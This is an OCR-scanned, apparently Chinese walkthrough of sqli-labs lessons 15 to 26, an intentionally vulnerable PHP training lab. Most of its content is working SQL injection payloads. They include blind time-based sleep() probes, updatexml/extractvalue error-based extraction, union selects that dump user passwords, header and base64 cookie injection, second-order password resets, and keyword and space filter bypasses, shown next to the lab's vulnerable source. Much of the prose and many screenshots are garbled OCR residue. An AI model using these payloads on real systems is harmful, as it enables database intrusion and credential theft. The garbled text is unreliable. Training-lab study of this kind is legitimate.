uname= " union select count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))as a from inf

EANGH

less-15 POST - Blind- Boolian/time Based - Single quotes (3 F bool%! /i |8] #E iR #.5] 5 POSTH 5 i)
B - ETARE - #5758
EAMNEKA B, B 8 R,

i /R Ul ik payload

uname=admin' and 1=1 --+&passwd=admin&submit=Submit /1 BB
uname=admin' and 1=2 --+&passwd=admin&submit=Submit /1 EFRW



Jmavey| ravans | noauets | nea | naw | NSausia | NS | ML | neiuer |
OST /sal-labsiLess-15/HTTPA 1 N
.
ost: 127,001 r Welcome
ser-Agert: Mozila/5.0 (Windows NT 10.0; Win64; x64; rv.61.0) Gecko/20100101 Firefox/51.0
ccept: textitml application/htmi+xmi appication/m; 4= 4-0.8
ccept-Language: zh-CN zh,q=0.8,2h-TW,q=0.7 zh-Hi;q=0.5 £n-US;q=0.3 enq=0.2
ccept-Encoding: gzip, deflate
eferer: http:/127.0.0.1/sqli-labsLess-15
ontent-Type: application/x-wwuw-form-urlencoded
ontent-Length: 51 U mamar
onnection: close .
parade-nsecure-Requests: 1 Beeraunl
name=admin’ and 1=1 --+&passwd=adminsubmit=Submit
§ WESGR GRETE M G o
3 U [
w‘ F ol il ia
L
: JMJ(EIEE’IIq
Go v Target: http://127.0.0.1
Raw | Params l Headers [Hex ‘ \ Raw ] Headers ‘ Hex l HTML | Render

POST /sqii-labs Less-15/ HTTP 1 A

[

Host: 127.0.0.1

User-Agent: Mozilal5.0 (Windows NT 10.0; WinB4; x64; rv:61 0) Geckof20100101 Firefox/61.0
Accept: text/tmi,application/xtm+xmi, application/miq
Accept-Language: h-CN,zh;g=0.8,zh-TW,q=0.7 2h-HK;g=0.5 en-US;q=0.3,en,g=0.2
Accept-Encoding: gzip, deflate

Referer: http:/127.0.0.1 /sqli-labs Less-15/

Content-Type: application/x-www-form-urlencoded

Content-Length: 51

Connection: close

Upgrade-insecure-Requests: 1

uname=admin' and 1=2 - Submit

I} 8] 2E 3B i payload

uname=admin' and sleep(5) --+&passwd=admin&submit=Submit

BB IEIR, B I SEIRTEN o
FLIEREN, RN,

B, &, J4, H, —RGHE.

uname=admin' and

uname=admin' and if(left(database(),1)='s

uname=admin' and
uname=admin' and
uname=admin' and

uname=admin' and

if(left((select column_name from information_schema.columns where table_name='users'

Welcome

Username :

Password :

LOGIN ATT]
FAILED

if(length(database())=8,sleep(5),1)--+&passwd=admin&submit=Submit

',sleep(5),1)--+&passwd=admin&submit=Submit

if( left((select table_name from information_schema.tables where table_schema=database() 1

limit

if(left((select password from users order by id limit 0,1),4)="dumb' ,sleep(5),1)--+&passw

if(left((select username from users order by id limit @,1),4)="'dumb' ,sleep(5),1)--+&passw



Less-16 POST - Blind- Boolian/Time Based - Double quotes (¥ T bool%! /i [a] #E iR ) X 5| 5 POSTH F
)

REBANEREEMEEL A, MEFERELER, BHURERHEE.

<« a o ® 127.0.0.1/sqli-labs/Less-16, w o5 v INED @ & =

Welcome

Username
password

ik, WHEEREAN
payloadflless-15EA %, RBFEL L —BIEN B SEONNEISMES ") MEHET .
AEER

HEZ: AERT:
TiRelk 5 5t L IAE: admin”)#

EANGH

Less-17 POST - Update Query- Error Based - String (3 T 4 % K 5 i & # POSTIEN)
BE| SRR, ERBRATH
XBMERHREE, ZRREEST, HREREET — TFphpstf:



// take the wariables
if (isset (5 POST['uname']) && isset (5 POST['passwd']))

=R
//making sure uname is not injectable
Suname=check input (5 POST['uname']):

Spasswd=5 POST|['passwd'l];

//logging the connection parameters to a file for analysis.

Sfp=fopen('result.txt','a'):
fwrite (Sfp, 'User Name:'.Suname."\n");
fwrite (5fp, 'New Password:'.Spasswd."\n");

feclose (5fp)
// connectivity
@$5gl="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";

Sresult=mysql_query (5sgl);
Srow = mysqgl fetch_ array(Sresult):;

SR, XEXtunamefif T check inputfi 43, check input()E&%in T
FE & W b

function check_input($value)
{
if(!empty($value))
{
// truncation (see comments)
$value = substr($value,®,15);
}

// Stripslashes if magic quotes enabled
if (get_magic_quotes_gpc())

{

$value = stripslashes($value);

}

// Quote if not a number
if (!ctype_ digit($value))

{
$value = "'" . mysql_real_escape_string($value) . "'";
}
else
{
$value = intval($value);
}
return $value;
}
REBE5AN 25

get_magic_quotes_gpc()
Hmagic_quotes_gpc=Onf¥jit &, BEi%iget magic_quotes_gpc()st ik [H 1

Hmagic_quotes_gpc=Offffjit &%, Bi%get _magic_quotes_gpc()st £k [0



magic_quotes_gpci #7E phpH H1E F &2 2 Wi it F P 1R B3R, WBFEH: post. get. cookieid SR i) ##E
B CFRY, DR RIX SR A ST RET, R 258 G A B ARk A5 51 2 75 LT B IR 2K f )4

'lﬂéo
fEmagic_quotes_gpc = OnfER T, WMRBMAMEIER

BEIS ) . M35 D . R (D 5 NULL (NULL 4 S3R#aim B k.
stripslashes( )Ml i1 addslashes() B $#in i & #HT

ctype_digit()HIWr R AR EF, REFHMERErue, UK [Efalse
mysql_real_escape_string()# X SQL &) 7 F i) 745 5 T 4 Bk 747

intval() BRI HK

BREMT XA ZLEHWHILE, RELBXpassword B #i—k?

&5 password @ :
f# Fupdatexml (O , ‘Efllextractvaule (O &35, A THliKversion OO & [Emysqlhi4s:

Raw | Params [VHeadersr[ Hex”‘ | RawVIVHeaders ] Hex ] HTMLV Render

POST isqii-labslLess-17/HTTPA 1
User-Agent. Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv.61.0) Gecko/20100101 Firefox/61.0 [P __\SS\\T()RI) RESET]

Host: 127.0.01
Accept: texthtml applicationixhtmbexmi application/ximl, =

T

Accept-Language: h-CN,2h.q=0.8,zh-TW. q=0 7 zh-HI;¢=0.5,en-US; =0 3,en,q=0.2
Accept-Encoding: gzip, deflate

Referer: http:/127.0.0 1/sqi-labsiLess-17/

Content-Type: application/x-www-form-urlencoded

Contert-Length: 91

Connectior: close User Nam(

Upgrade-Insecure-Requests: 1
New Pass

uname=admingpasswd=admin' and updatexmi(1 concat(0x7e version() 0x7e),1) --+ &submit=Submit

1% & payload

Raw VParams [ Headers [ Hexq‘ i Raw I Headers ] Hexri HTML | Render

POST /sqli-labsiLess-17/HTTPA 1 A
Host: 127.0.01 r
User-Agent: Mozilla/S .0 (Windows NT 10.0; WinB4; x64; rv:61.0) Gecko/20100101 Firefox/81.0 [P _\SS\\Y(’)R[) RESET]

Accept: text/html applicationixttmk+xmi application sk g=
Accept-Language: zh-CN zh;q=0 8 zh-TW: =0 7 zh-HI;g=0 5 en-US;q=0 3 en:g=02
Accept-Encoding: gzip, deflate

Referer: http:/127.0.0.1/sqli-labs/Less-17/

Content-Type: application/x-www-form-urlencoded

Cortet-Length: 93
Connection: close
Upgrade-insecure-Requests: 1

uname=admin&passwd=admin' and updatexmi(1 concat(0x7e, database(),0x7e), 1) --+ &submit=Submit




1% % payload
Raw | Params ] Headers I Hexl Raw | Headers | Hex | HTML | Render

POST /sqli-labs/Les:

ac

WORD RESET

Accept: texthtml,application/xhtmi+xmi application/ml,
Accept-Language: zh-CN zh;q=0.8,2h-TW:q=0.7 zh-H

5,en-US;q=0.3,en,=0.2

Accept-Encoding: g
Referer: hitp:/127.0.01scli-labsLess-17/
Contert-Type: application/x-www-form-urlencoded
Contert-Length: 178

Connection: close

Upgrade-Insecure-Requests: 1

cat(table_name) from information,

ma tables where

1#% 4 payload

uname=admin&passwd=admin' and updatexml(1,concat(©x7e,(select group_concat(column_name) from information_sc

Raw | Params I Headers 1 Hex | Raw | Headers | Hex | HTML | Render
PO! labs/Less-17/HTTP/1.1 A
Host 1 r
User-Agent: Mozila/S.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/1.0 ASSWORD R
Accept. texthtml application/xhtmb+xml application/m; g 0.8 = =

Accept-Language: zh-CN,2h,g=0.8,zh-TW,q=0
Accept-Encoding Zip, deflate
Referer: hitp: Aisgii-labsiLess-17i
Content-Type: application/x-www-form-urlencoded
Content-Length: 277

Connection: close

Upgrade-insecure-Requests: 1

h-HI

n-US;q=0.3,en;4=0.2

uname=admingpassw

min’ and updatexmi(1 ¢
and column_name not in (

m information
st_login' ffailed_login

1% & payload

ffH : uname=admin&passwd=admin' and updatexml(1,concat(0x7e,(select group_concat(password) from
users),0x7e),1) --+ &submit=Submit

RIADAT:



User Name

New Password :

Sut

You can't specify target table 'users' for update in FROM clause

(f’" I_i_ R e g T

- £

,,,,,,

n—Eselectitiz,

uname=admin&passwd=admin' and updatexml(1,concat(0x7e,(select password from (select password from
users where username='admin’))),1) --+ &submit=Submit

User Name

New Password

BT TN, MEET

i % payload:

uname=admin&passwd=11"' and updatexml(1l,concat(0x7e, (select password from (select password from users wher

AT LA

uname=admin&passwd=11"' and updatexml(1,concat(®x7e, (select password from (select password from users limi

Less-18 POST - Header Injection - Uagent field - Error based (3 T-4& % i 4838, L#BPOSTIENA)



WmAERY, #5|5, user-agentBdiEN £,

&« C @ ® 222.27.227.209/sqli-labs/Less-18 v QD 1Y Yy IN[Eb @ & =

o
At

Welcome

Usmame:
password:

Submit

Your IP ADDRESS is: 222.27.227.209

SUCCESSFULLY
LOGGED IN

& Pluser-agentiI[E &, FEMEAN fifEuser-agnet, T LABEENIR, (HRIRZEFFphpCHiE:

take the variables

iJf(isset(:SiPOST[",";x e']) && isset(S_POST['passwd'l]))

! {
Suname = check input (5 POST['uname'])
Spasswd = check input($_POST['passwd']):

ho 'Your Your User name:'. Suname;

"<br>";

r Password:'. S$passwd;

>";

r User Agent String:'. $Suagent;
echo "<br>";
echo 'Your User Agent String:'. $IP;

//logging the connection parameters to a file for analysis.
sfp=fopen (' resul ,ral)s
fwrite ($fp, 'User Agent:'.Suname."\n");

fclose (Sfp) #

\ame, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";

(‘:3.5[;11) H

Sresultl = mysgl_ gquery

BEE, EEUMRE, E—BiEiipasswrod’#icheck, Xt 7T,

Srowl = mysql_fe?ch_array (Sresultl);
if ($rowl)

{
echo '<font color= "#FFFF00" font size = 3
$insert="INSERT INTC ecurity
mysqgl_query (Sinsert);
//echo '"Your IP ADDRESS is: ' .S3IP;
echo "</f "
//echo "
echo '<f
echo 'You
echo "</font
echo "<br>";
print_r(mysqgl_error());
echo "<br r>";
echo '<img src="../images/flag.jpg"
echo "<br>";

XE3| insertiff], fihituser-agentili AE| T IEE, FIUMUNXETF, MAEHHRLHTSH, BTR
FEUE IR

M EKuser-agentA— Fpayloadst 7T LA T .

iR 42 payload

'and extractvalue(l,concat(@x7e, (select database()),0x7e)) and '



| Go < | Target: http://222.27.227.209

JRaw Params 1 Headers lHex l Raw | Headers | Hex | HTML | Render

‘and extractvalue(1 concat(0x7e (select database()) 0x7e)) and

Welcome

0.5 en-US;g=0.3 en;q=0.2

Referer: hitp: 209/sgli-labs/Less-18/

Cortent-Type: application/x-www-form-urlencoded
Content-Lengtt
Connection:
Upgrade-insecure-Requests: 1

Usemname :

Password :
uname=admingpasswe=admin&submt=Submt

Submit

Your IP ADDRESS

BeBIw, LUK
BRI D B Z BT KRS BUEN — R —#F,

payloadm] LS FE, less-12 X 5| SHAETEN, RFEEXNG] S HCNR5] S A AME AR B K payload, X B 5t
NEER.

FE 45142 FE payload:

User-Agent: 'and extractvalue(l,concat(0x7e, (select database()),0x7e)) and '

EANGH

Less-19 POST - Header Injection - Referer field - Error based (¥ T 3k # if) Referer POSTiR 473 \)
BES, WER, refererBiEN .

< ¢ o ® 222.27.227.209/5qli-labs/Less-1¢ [ 4 e L INED @ & =

Welcome

Ueame:
password: [

Submit

Your IP ADDRESS is: 222.27.227.209

B E— BRI, [BlER&referer, BH— TphpXXHrRT LUK, insertif &)= a1 33 FEHd A T referer, BrCAIEA
B Areferer, paylaodfl L —@i5e&—F, tHAIASHless-12, ¥ HX 5|5 SN H 5] 5 1E A Fpayload, F
BER



FE1 48 FE payload:

Referer:'and extractvalue(l,concat(®x7e,(select database()),0x7e)) and

EANEE K.

Less-21 # P less22
Cookie injection- base64 encoded-single quotes and parenthesis A Cookie Injection - base64 encoded - double quotes
Less .23 # Fless 24
GET - Error based - strip comments A |_ A POST- second oder Injections *Real treat* - Stored Injections
less -25 # P Less - 253
A GET - Blind Based - All your OR & AND belong to us- Intiger based
GET - Error based - All your OR & AND belong to us -string single quote /A P
Less - 26 & F Less 268
| A GET- Blind Based - All your SPACES and COMMENTS belong to us -String-single
GET - Error based - All your SPACES and COMMENTS belong to us A - quotes-Parenthesis
Less-27 # | P less -27a
GET - Error Based- All your UNION & SELECT Belong to us - String - Single quote f} B A GET - Blind Based- All your UNION & SELECT Belong te us - Double Quotes
SQL Injections-Page-2 =
Less -28 # —T A less-28a
GET - Error Based- All your UNION & SELECT Belong to us - String -Single quote with parenthesis /A
A GET - Blind Based- All your UNION & SELECT Belong to us -single quote-parenthesis
Less -29 # [ # less-30
GET -Error based- IMPIDENCE MISMATCH- Having a WAF in front of web application. /3 \
Less -31 | A GET - BLIND - IMPIDENCE MISMATCH- Having a WAF in front of web application.
GET - BLIND - IMPIDENCE MISMATCH- Having a WAF in front of web application. & | | A less -32
/ GET - Bypass custom filter adding slashes to dangerous chars.
Less -33 # = R 9 9
- A less-34
GET - Bypass AddSlashes() /A -
/\ POST - Bypass AddSlashes()
Less35 8 P Less-36
GET - Bypass Add Slashes (we dont need them) Integer based
A GET - Bypass MySQL_real_escape_string
Less37 &

POST- Bypass MySQL_real_escape_string /3

A Future Editions

Less-20 POST - Cookie injections - Uagent field - Error based (3 T 4 i% i) cookie 3k # POSTH:\)
BES, HEEE, cookieBliEN.
B JE T :

QLI DUMB SERIES-20

YOUR IP ADDRESS IS : 222.27.227.209
DELETE YOUR COOKIE OR WAIT FOR IT TO EXPIRE

YOUR COOKIE : uname = admin and expires: Thu 23 Aug 2018 - 09:38:26
Your Login name:admin

Your ID:8

BE— TFphptft,


http://127.0.0.1/sqli-labs/index-1.html

= Scookee and expires: . date (Sformat, Stimestamp):

echo "YOUR

sresult=mysql query (3sql)
if (!Sresult)

{

die('Issue with your mysqgl: ' . mysql error());

srow = mysql fetch array(Sresult):
if (srow)
{
echo '<fon
echo 'Your Login

echo "<br>";

A LLE B E MG A& T cookee, FRIRATHAECookies B HIFHATIEAN
ﬂﬂfﬁ%%“1<;

| Go Target: http:1/222.27.227.209 | #

Raw | Params {Headers IHexl Raw | Headers | Hex | HTML | Render

Isqli-labs 0findex php HTTPM 1

T

Jser-Agent 0 (Windows NT 10.0; Win64; x64; rv
Accept: text/html application/xhtmi+xmi application/
Accept-Language: zh-CN,zh;q=0.8 zh-TW,¢=07 zh-Ht

Gecko/20100101 Firefox/51.0

en-US;q=0.3,en,q=0.2

227 209/sqji-labs/Less-20/index.php
min|

“onnection: close

Jpgrade-Insecure-Requests: 1

>ache-Control: max-age=0

YOUR IP
DELETE YOUR KIE OR WAIT FOR IT TO EXPIRE
YOUR COOKIE : uname = admin and expires: Thu 23 Aug 2018 - 09:
Your Login name :admin

Delete Your Cookie!

% Flcookie: uname=admin ¥ £ 5% it & cookielEAN T

rig 5] 5 K

| Go < |v Target: http://222.27.227.209 _./"
Raw | Params lHeaders lHexl Raw | Headers | Hex | HTML | Render

GET 20
Host:
User-Agent: M indows NT 10.0; Win64; x64; rv:61.0) Gecko20100101 Firefox/61.0
Accept: textihtml application/xttmbexmi applicationin g
Accept-Language: zh-CN zhig=0.8,2h-TW,g=0.7 2h-Hit;q=0.5,en-US;q=0.3 enc=0.2
Accept-Encoding deflate

09/sqli-iabs/Less-20fndex php

ndex php HTTPH .1

T

Cookie: uname:
Connection: close
Upgrade-insecure-Requests: 1
Cache-Control max-age=0

YOUR IP ADDR
DELETE YOUR
YOUR COOKIE : uname = admin' and expires: Thu 23 Au 09:47

Issue with your mysql: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server v}
for the right syntax to use near "admin" LIMIT 0,1' at line 1

BHEEER, BRLRMARG S,
MTFRE—T1T4

Cookie: uname=admin' order by 3--+ //1-3 IE#®
Cookie: uname=admin' order by 4--+ //4 RIE¥ , HEiTHn3



| Go <|v Target: http://222.27.227.209 |
Raw | Params lHeaders lHex I Raw | Headers | Hex | HTML | Render

SET Isgli-abs Less-20index php HTTPA 1 A

fost: 22 r

Iser-Agent: Moz (Windows NT 10.0, Win64; x64; rv.61.0) Gecko/20100101 Firefox/81.0
\ccept. text/html application/xhtmi+xmi application/ml g q=0.8

\ccept-Language: zh-CN.zh,q=0.8,zh-TW,q=0.7 2h-HK;g=0.5,en-US;q=0.3,en;q=0.2 L B . ] m y
A

SQLI

qli-labs/Less-20/nclex php
er by 3}-+

onnection: close

Ipgrade-Insecure-Requests: 1
‘ache-Cortrol max-age=0

YOUR IP ADDRESS IS : 222.27.227.209
DELETE YOUR COOKIE OR WAIT FOR IT TO EXPIRE
YOUR COOKIE : uname = admin' order by 3-- and expires: Thu 23 Au,
Yowr Login name :admin

Delete Your Cookie!

1% £ payload

Cookie: uname=-admin' union select 1,2,database()--+

Go < v | Target: http://222.27.227.209 ‘/‘

Raw | Headers | Hex | HTML | Render

e

User-Agertt: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Geckor20100101 Firefox/61.0
Accept: text/htmi,applcation/xhtmi+xmi application/xmig =08

Accept-Language: 2h-CN,zh;q=0.8,zh-TW,q=0.7 zh-HK:4=0.5,6n-US;4=0 3 en;q=0.2
Accept-Encoding: gzip, deflate
Referar: httpi/i2

Connection: close

Uparade-Insecure-Requests: 1
Cache-Control: max-age=0|

YOUR IP AL
DELETE YOUR C 0
YOUR COOKIE : uname = -admin' union select 1,2,database()# and expires: T}
09 11
Your Login name:2

Delete Your Cookie!

ETRNEZERERNPE, ARTEER=AENNEBKpayloadst i U 5EMisqiEAN, HHEA LA Fless-17
Hipayloadtyig, 1RAE+ 7.

REAEER.
ENGE K

Less-21 Cookie Injection- Error Based- complex - string ( 3 T 45 % 9 5 24 i = 75 %! Cookiei: \)
base64%ity, #3515, HMELE, cookieBiEA.
A K Mless-20481L, H & cookiefjunamelE £ it base644mi5 T »

3% )5 T -



<« ¢ ® 127.0.0.1/sqli-labs/Less-21/index.php o

SERIES-2 1

YOUR IP ADDRESS IS : 127.0.0.1
DELETE YOUR COOKIE OR WAIT FOR IT TO EXPIRE

i
b

YN0 e e =

Warning: date(): It is not safe to rely on the system's timezone settings. You are *required* to use the date.timezone setting
or the date_default_timezone_set() function. In case you used any of those methods and you are still getting this warning,
you most likely misspelled the timezone identifier. We selected the timezone 'UTC' for now, but please set date.timezone to
select your timezone. in F:\WhiteFlie\PhpStudy28+88241\PHPTutoria\WWW\sqli-labs\Less-21\index.php on line 142
YOUR COOKIE : uname & YWRtaW4= and expires: Thu 23 Aug 2018 - 10:20:53
Your Login hame:admin
our ID:8

B SR 5 B AR Bebase64in &t 1, fEISAR]: admin, BLENIA BREKuname, FrolfEWl: A< 7E cookiekt
e T FR/F e,

BEphp X sLantt, ATl R FE & paylaodi it fkbase64 i — Tt LA T .

| Go Target: http://127.0.0.1
Raw | Params l Headers l Hex [ Raw | Headers | Hex | HTML | Render
GET /sgli-labs Less-21 index_php HTTPA 1 .
Host: 127.0.0.1 r
User-Agent: Mozi &cko/20100101 Firefox/61.0
text/html applicationix
2 =0.5,en-US;q=0.3 enq=0.2
c leflate
Referer: htty fsqi-labsiLess-21/
Cookie: uname=Y 4%30
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
YOUR IP ADDRESS IS : 127.0.0.1
DELETE YOUR COOKIE OR WAIT FOR IT TO EXPIRE
Warning: date(): It is not safe to rely on the system's timezone settings. You are
use the date.timezone setting or the date default timezone set() function. In ca
of those methods and you are still getting this warning, you most likely misspelle|
identifier. We selected the timezone "UTC' for now, but please set date.timezon
timezone. in F:\White Flie \PhpStudy20180211\PHPTutorial WWW\sqli-labs\Le
on line 142
YOUR COOKIE : uname = YWRtaW4= and expires: Thu 23 Aug 2018 -
Your Login name :admin
ke
v

& Flcookie£YWRtaW4%3D , FIHEHERSA—F, ERHE%3D £&=5urldecodefI 45 R, BT RWi&
paylaodi# 47 ik

admin' and 1=1 --+ / /83X
YWRtaW4nIGFUZCAXPTEgLS@r  //EX



| Go | <|v | Target: http://127.0.01 | & || 7

Raw Paramsr[ Headers ig‘

GET sqli-labs/Less-21index.php HTTPA 1

Host: 127.0.0.1

User-Agent: Mozila/5.0 (Windows NT 10.0; Wind; x64; rv:61.0) Gecko/20100101 Firefox/61.0
Accept: text/Htmi application/xhim+xmi applicationfmt g=0.9,**,g=0.8

o
Aceept-Language: zh-CN,zh; =0 8, zh-TW: =0.7,zh-Hi;q=0 5 en-US; =0 3 en;q=0.2 — " .
Accept-Enco i, deflate P - 1 2 |

Referer: http:1127.0.0.1 fsqi-labsiLess-21/ ' B ¥ ’ —
Cookle: uname=YWRtaW4NIGFUZCAXPTEQLSO ) 7 » - O

Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

T

YOUR IP ADDRESS IS : 127.0.0.1
DELETE YOUR COOKIE OR WAIT FOR IT TO EXPIRE

‘Warning: date(): It is not safe to rely on the system's timezone settings. You are *required* to

use the date.timezone setting or the date_default timezone set() function. In case you used any

of those methods and you are still getting this warning, you most likely misspelled the timezone

identifier. We selected the timezone '"UTC' for now, but pl e set date.timezone to select your

timezone. in F:\White Flie\PhpStudy20180211\PHPTutorial WWW!:sqli-labs\Less-21\index.php
on line 142

YOUR COOKIE : uname = YWRtaW4nIGFuZCAxPTEgLSOr and expires: Thu 23 Aug 2018 -

Sl Tssue with your mysql: You have an error in your SQL s ch e manual that correspynds to your MySQL server version

for the right syn e near ') LIMIT 0,1' at line_Lg

> < 5+ > e 3 sea e 0 matches

BT, FreANiZaiE ") X
REMAESRITHT, L-BELME T,
S RE KA, +ELEAETR, TEEHERERE,

7~ 4% FE paylaod:

-admin') union select 1,2,database()#
LWFkbW1luJykgdW5pb24gc2VsZWNOIDEsMixkYXRhYmFzZSgpIw==

BTRRAEEBNE =B WIEN, Mless-20—# (EERA#HER, MAH-+) , REbasebdinFHEEAN
cookie, FER]PASERIEN, AEEKR.

Less-22 Cookie Injection- Error Based- Double Quotes - string (& T 4 i% i1 X 5| 5 7 %F % Cookiei: \ )
base64%ii%, M55, HEER, cookieBiEN.

Mless-21—H K, ABEMANG SAB RS SHREES, —HKRT —FFRI%RIE.

NEFE

¥4 payload

-admin" union select 1,2,database()#
LWFkbWluIiB1bmlvbiBzZWx1Y3QgMSwyLGRhdGFiYXN1KCkj



Less-23 GET - Error based - strip comments (& T2 1, TEEBRNGETR)
ETHIR-TITR

XEEAFphpRE, RATEREREFPhpT :

// take the wvariables

if(isset (5 GET['id']))

a;id=$_GET['id'];

//filter the comments out so as to comments should not work

:?-reg _n f#fll;
Sregl — ||f__f|l;
Sreplace = "";

$id = preg_replace(5reg, Sreplace, $5id):

5id = preg_replace(5regl, Sreplace, 5id);

//logging the connection parameters to a file for analysis.
Sfp=fopen('result.txt','a');

fwrite(5fp, "ID:'.35id."\n"):

fclose (5fp) ;

// connectivity

$s3gql="SELECT * FROM users WHERE id='$id' LIMIT 0,1":
sresult=mysql query (5sql);

FEIHESR T RANERER, FTURINAERAE:
{8 & payload

?id=" union select 1,2,database() '

1% & payload

?id=" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database(

2% 4 payload

?id=" union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' o

& {Epayload

?id=" union select 1,group_concat(username),group_concat(password) from users where 1 or '1' = '



Less - 24 Second Degree Injections *Real treat* -Store Injections (= IXK¥EN\)

ZIKEN
EATHI 2 TR

1.5 —Dadmin'#H K S .

2.8 Fadmin'#i%, BEUKkSHKEN, WHREHKRZadmnkEFL, RIEH 123456,
Sqli&f)28 NUPDATE users SET passwd="New_Pass" WHERE username =" admin' #' AND password="

Wt AT T UPDATE users SET passwd="New_Pass" WHERE username =" admin'

YOU ARE LOGGED IN AS

admin'#

You can Change your password here.

Current Password:

New Password: QI

Retype Password: [TXIIX]

T 0 1 B e LT 2 327
3 HNEH M E AR 123456, FfiadminE 2 AKS, BUAT LRI & .



YOU ARE LOGGED IN AS

admin

You can Change your password here.

Current Password: ||| IGTNRNGEGG
New Password: I
Retype Password: |

Reset

Logout

EANGH

Less-25 Trick with OR & AND (i 3 T orfiland)
OR & AND #x 3

MA—TF

payload
?id=1"' #

Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in F:\WhiteFlie\PhpStudy2018
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for th
payload

2id=1' --+

Your Login name:Dumb
Your Password:Dumb

FridABEERRSS,
{H R —Mpayload& A #H4Es, TILAEAN.

TiE—, —+ged, —BEAN.



¥ payload

?id=-1"' union select 1,2,database()--+

BB — T IX SR B E BB E X passwordi#i 4T T 4b 3, Ei#lpassword?l, [ElEno column passwd, FrbAXE
orgeid

[ informationt &2 .

¥ B paload

?id=-1"' union select 1,2,group_concat(username,@x7e,passwoorrd) from users--+

Fik=, NBorskandséit

iR payload

?id=@' oorr 1=1 --+
?id=2"' aandnd 1=1 --+

or and B &84, sq&Ell, FEEKR.

EANGH

Less-25a Trick with OR & AND Blind (it 3 7 orflandifI 5 1)
MALBIEEAHIW T Tandiorle, HEAR IR Norskand



XHE WED B8N BEE) #EE IR0 ®&sH ' [ B S

Less-25a Trick with OR & ANC x| Less-25 Trick with OR 8t AND % Lk

€ | () 10.10.10.139/sql/Less-25a/7id=and1 VBB s & S= <Ctrl+k> T E & A S-BE 8 8 e =
@ BF || =S 360 e O ERERE
IINT '! = @& SQL- XSS- Encryption- Enceding- Other-
= Load URL |1H:p:f,.-"}.O.10.].D.l39,-"5q|,.fLess-25a;'?id=andll
¥ split URL +

L3 Execute

Enable Post data | Enable Referrer

Welcome
Your Login name:Dumb
Your Password:Dumb

Hint: Your Input is Filtered with following result: 1

AFET25RK ZsqliEfFxtTid, BAE"MEE, FANEEMEHERRT, WEEANGEH. HREAR EM2575 5
BHZEM.

BEALREX P AT 3 SERPEAMBRETEN

http://10.10.10.139/sql/Less-25a/?id=-1%20| | %20if(length(database())=8,1,sleep(5))#

http://10.10.10.139/sql/Less-25a/?id=-1%20union%20select%201,database(), 3#

Less-26(failed) Trick with comments and space (i #€ T B2/ HKIEN)

LT
WRER, Bt 4R, B TFphpt




// take the variables

if(isset($_GET['id']))

{

$id=$_GET['id'];

//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt’','a");

fwrite($fp, 'ID:'.$id."\n");

fclose($fp);

//fiddling with comments
$id= blacklist($id);
//echo "<br>";

//echo $id;

//echo "<br>";
$hint=%$id;

// connectivity

$sql="SELECT * FROM users WHERE id='$id' LIMIT o,1";
$result=mysql_query($sql);

$row = mysql_fetch_array($result);

if($row)

{
echo "<font size='5' color= '#99FF00'>";
echo 'Your Login name:'. $row[ 'username’];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "</font>";
}

else

{
echo '<font color= "#FFFF00">';

print_r(mysql_error());
echo "</font>";

}

}

else { echo "Please input the ID as parameter with numeric value";}

function blacklist($id)
{

$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive)
$id= preg_replace('/[\/\*]1/',"", $id); //strip out /*

$id= preg_replace('/[--1/',"", $id); //Strip out --

$id= preg_replace('/[#]/',"", $id); //Strip out #

$id= preg_replace('/[\s]/',"", $id); //Strip out spaces

$id= preg_replace('/[\/\\\\]1/',"", $id); //Strip out slashes

return $id;

A LLF Blfunction blacklist($id) sk TANM T I 450, $id BEZ#S S, & T or, and, /*,—, #, K,/

E T s e e e e e e e S e e s s

4 e 3



FXEBEIEAE T, NABEI28a, HEANKRMK, iR THXMERL, M#ZH2RIinuxEBALE EE T, 3
R, KIURZ W ERAEE K.

HR: AR EH KK EwWindows T BiE# F — AR Z /AR B 24, b2 F Aapache I g ¥ 1) &,
XEFEERBILNUCEE T .

B e R R s S S S e e e s ]

4 (L 2

?id="%a@uNion%a@sElect (1), (database()),(3) or (1)='1 BEEE

?id="%a@uNion%a@sElect(1), (group_concat(table_name)), (3)%a0from%adinformation_schema.tables%adwhere¥%a0table
?id="%a@uNion%a@sElect(1),group_concat(column_name),3%alfrom%a@information_schema.columns¥%adwhere%adtable_s
?id="%a@uNion%a@sElect(1),group_concat(email_id),3%a@from%ademails%aluniOn%a@selLect (1),2,'3 IREZIE

XEAMATET

[*26-28%% https://blog.csdn.net/nzjdsds/article/details/7743007 3#t9*/

o FLLF26-28% ZHIEY
less 26 Trick with comments and space (it 3€ T I B M E K KEN)

BN uE T #
http://10.10.10.139/sql/Less-26/?1d=%231
AT I8 Tor
http://10.10.10.139/sql/Less-26/?id=orl
AL U8 B AT R
http://10.10.10.139/sql/Less-26/?id=/*1
AL ug T BATIERE
http://localhost/sqli-labs/Less-26/?id=--1
AU T RHT
http://10.10.10.139/sql/Less-26/?id=/1
AU T RAHT
http://10.10.10.139/sql/Less-26/?id=\
BAUE T 4%, MEEANT TR, XAHIM

http://10.10.10.139/sql/Less-26/?id=1" ' '


http://lib.csdn.net/base/linux
https://blog.csdn.net/nzjdsds/article/details/77430073#t9

$id= preg_replace('/or/i',"", $id);
$id= preg_replace('/and/i',"", $id);
$id= preg_replace('/[\/\*]1/',"", $id);
$id= preg_replace('/[--1/',"", $id);
$id= preg_replace('/[#]/',"", $id);
$id= preg_replace('/[\s]/',"", $id);

$id= preg_replace('/[\/\\\\]/',"", $id);

THEESRIWE, BEHMMES, KRHIRBGSEREEL,
BAVE RS ZAE R S ATIERE, MMEZXESET, PriliXiTrAE,

